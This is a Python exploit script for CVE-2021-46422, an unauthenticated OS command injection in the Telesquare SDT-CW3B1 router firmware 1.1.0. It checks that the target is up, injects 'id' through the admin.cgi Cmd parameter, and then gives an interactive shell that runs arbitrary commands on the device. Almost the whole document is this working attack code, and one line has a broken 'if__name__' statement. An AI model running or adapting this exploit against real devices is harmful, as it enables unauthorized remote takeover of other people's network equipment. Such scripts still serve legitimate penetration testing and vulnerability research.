|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98  |  #!/usr/bin/python3  # Exploit Title: Telesquare SDT-CW3B1 1.1.0 - OS Command Injection # Date: 24th May 2022 # Exploit Author: Bryan Leong <NobodyAtall> # Vendor Homepage: http://telesquare.co.kr/ # CVE : CVE-2021-46422 # Authentication Required: No import requests  import argparse  import sys from xml.etree import ElementTree def sysArgument():  ap = argparse.ArgumentParser()  ap.add_argument("--host", required=True, help="target hostname/IP")   args = vars(ap.parse_args())  return args['host'] def checkHost(host):  url = "http://" + host  print("[*] Checking host is it alive?")  try:  rsl = requests.get(url)   print("[*] The host is alive.")  except requests.exceptions.Timeout as err:  raise SystemExit(err) def exploit(host):  url = "http://" + host + "/cgi-bin/admin.cgi?Command=sysCommand&Cmd="   #checking does the CGI exists?  rsl = requests.get(url)  if(rsl.status_code == 200):  print("[*] CGI script exist!")  print("[*] Injecting some shell command.")  #1st test injecting id command  cmd = "id"  try:  rsl = requests.get(url + cmd, stream=True)  xmlparser = ElementTree.iterparse(rsl.raw)  cmdRet = []  for event, elem in xmlparser:  if(elem.tag == 'CmdResult'):  cmdRet.append(elem.text)  except:  print("[!] No XML returned from CGI script. Possible not vulnerable to the exploit")  sys.exit(0)  if(len(cmdRet) != 0):  print("[*] There's response from the CGI script!")  print('[*] System ID: ' + cmdRet[0].strip())  print("[*] Spawning shell. type .exit to exit the shell", end="\n\n")  #start shell iteration  while(True):  cmdInput = input("[SDT-CW3B1 Shell]# ")  if(cmdInput == ".exit"):  print("[*] Exiting shell.")  sys.exit(0)  rsl = requests.get(url + cmdInput, stream=True)  xmlparser = ElementTree.iterparse(rsl.raw)  for event, elem in xmlparser:  if(elem.tag == 'CmdResult'):  print(elem.text.strip())  print('\n')  else:  print("[!] Something doesn't looks right. Please check the request packet using burpsuite/wireshark/etc.")  sys.exit(0)  else:  print("[!] CGI script not found.")  print(rsl.status_code)  sys.exit(0) def main():  host = sysArgument()  checkHost(host)  exploit(host) if__name__ == "__main__":  main()  |